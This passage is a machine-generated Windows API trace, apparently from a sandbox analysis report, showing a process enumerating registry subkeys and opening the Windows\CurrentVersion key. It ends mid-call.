[0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared", cchWideChar=6, lpMultiByteStr=0x3ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared", lpUsedDefaultChar=0x0) returned 6 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x3eb930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools", lpUsedDefaultChar=0x0) returned 12 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x3eb930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="shared tools location", cchWideChar=21, lpMultiByteStr=0x3ec0d8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="shared tools location", lpUsedDefaultChar=0x0) returned 21 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x3eb930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sideshow", cchWideChar=8, lpMultiByteStr=0x3ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sideshow", lpUsedDefaultChar=0x0) returned 8 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x3eb930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.495] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="snippingtool", cchWideChar=12, lpMultiByteStr=0x3ec0d8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="snippingtool", lpUsedDefaultChar=0x0) returned 12 [0026.495] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x3eb930, cchName=0x104 | out: lpName="Software") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x3ec120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0026.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x3eb930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="speech", cchWideChar=6, lpMultiByteStr=0x3ec0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="speech", lpUsedDefaultChar=0x0) returned 6 [0026.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x3eb930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sqmclient", cchWideChar=9, lpMultiByteStr=0x3ec120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sqmclient", lpUsedDefaultChar=0x0) returned 9 [0026.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x3eb930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sync framework", cchWideChar=14, lpMultiByteStr=0x3ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sync framework", lpUsedDefaultChar=0x0) returned 14 [0026.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x3eb930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sysprep", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sysprep", lpUsedDefaultChar=0x0) returned 7 [0026.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x3eb930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="systemcertificates", cchWideChar=18, lpMultiByteStr=0x3ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="systemcertificates", lpUsedDefaultChar=0x0) returned 18 [0026.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x3eb930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tabletextservice", cchWideChar=16, lpMultiByteStr=0x3ec120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tabletextservice", lpUsedDefaultChar=0x0) returned 16 [0026.496] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x3eb930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0026.496] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tablettip", cchWideChar=9, lpMultiByteStr=0x3ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tablettip", lpUsedDefaultChar=0x0) returned 9 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x3eb930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tcpip", cchWideChar=5, lpMultiByteStr=0x3ec120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tcpip", lpUsedDefaultChar=0x0) returned 5 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x3eb930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="terminal server client", cchWideChar=22, lpMultiByteStr=0x3ec0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="terminal server client", lpUsedDefaultChar=0x0) returned 22 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x3eb930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="termservlicensing", cchWideChar=17, lpMultiByteStr=0x3ec120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="termservlicensing", lpUsedDefaultChar=0x0) returned 17 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x3eb930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tip shared", cchWideChar=10, lpMultiByteStr=0x3ec0d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tip shared", lpUsedDefaultChar=0x0) returned 10 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x3eb930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpg", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpg", lpUsedDefaultChar=0x0) returned 3 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x3eb930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tpm", cchWideChar=3, lpMultiByteStr=0x3ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tpm", lpUsedDefaultChar=0x0) returned 3 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x3eb930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tracing", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tracing", lpUsedDefaultChar=0x0) returned 7 [0026.497] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x3eb930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0026.497] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="transaction server", cchWideChar=18, lpMultiByteStr=0x3ec0d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="transaction server", lpUsedDefaultChar=0x0) returned 18 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x3eb930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="tv system services", cchWideChar=18, lpMultiByteStr=0x3ec120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tv system services", lpUsedDefaultChar=0x0) returned 18 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x3eb930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="udrm", cchWideChar=4, lpMultiByteStr=0x3ec0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="udrm", lpUsedDefaultChar=0x0) returned 4 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x3eb930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="updates", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="updates", lpUsedDefaultChar=0x0) returned 7 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x3eb930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="upnp device host", cchWideChar=16, lpMultiByteStr=0x3ec0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="upnp device host", lpUsedDefaultChar=0x0) returned 16 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x3eb930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="vba", cchWideChar=3, lpMultiByteStr=0x3ec120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vba", lpUsedDefaultChar=0x0) returned 3 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x3eb930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="virtual machine", cchWideChar=15, lpMultiByteStr=0x3ec0d8, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="virtual machine", lpUsedDefaultChar=0x0) returned 15 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x3eb930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.498] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="visualstudio", cchWideChar=12, lpMultiByteStr=0x3ec120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="visualstudio", lpUsedDefaultChar=0x0) returned 12 [0026.498] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x3eb930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wab", cchWideChar=3, lpMultiByteStr=0x3ec0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wab", lpUsedDefaultChar=0x0) returned 3 [0026.499] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x3eb930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wbem", cchWideChar=4, lpMultiByteStr=0x3ec120, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wbem", lpUsedDefaultChar=0x0) returned 4 [0026.499] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x3eb930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wimmount", cchWideChar=8, lpMultiByteStr=0x3ec0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wimmount", lpUsedDefaultChar=0x0) returned 8 [0026.499] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x3eb930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="windows", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="windows", lpUsedDefaultChar=0x0) returned 7 [0026.499] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f404 | out: phkResult=0x34f404*=0xa0) returned 0x0 [0026.499] RegCloseKey (hKey=0x24) returned 0x0 [0026.499] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x3eb930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentversion", cchWideChar=14, lpMultiByteStr=0x3ec0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentversion", lpUsedDefaultChar=0x0) returned 14 [0026.499] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x34f404 | out: phkResult=0x34f404*=0x24) returned 0x0 [0026.499] RegCloseKey (hKey=0xa0) returned 0x0 [0026.499] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x3eb930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.499] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app management", cchWideChar=14, lpMultiByteStr=0x3ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app management", lpUsedDefaultChar=0x0) returned 14 [0026.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x3eb930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="app paths", cchWideChar=9, lpMultiByteStr=0x3ec0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="app paths", lpUsedDefaultChar=0x0) returned 9 [0026.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x3eb930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="applets", cchWideChar=7, lpMultiByteStr=0x3ec120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="applets", lpUsedDefaultChar=0x0) returned 7 [0026.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x3eb930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audio", cchWideChar=5, lpMultiByteStr=0x3ec0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audio", lpUsedDefaultChar=0x0) returned 5 [0026.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x3eb930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="authentication", cchWideChar=14, lpMultiByteStr=0x3ec120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="authentication", lpUsedDefaultChar=0x0) returned 14 [0026.500] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x3eb930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0026.500] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bitlocker", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.500] WideCharToMultiByte (in: CodePage=0x0, 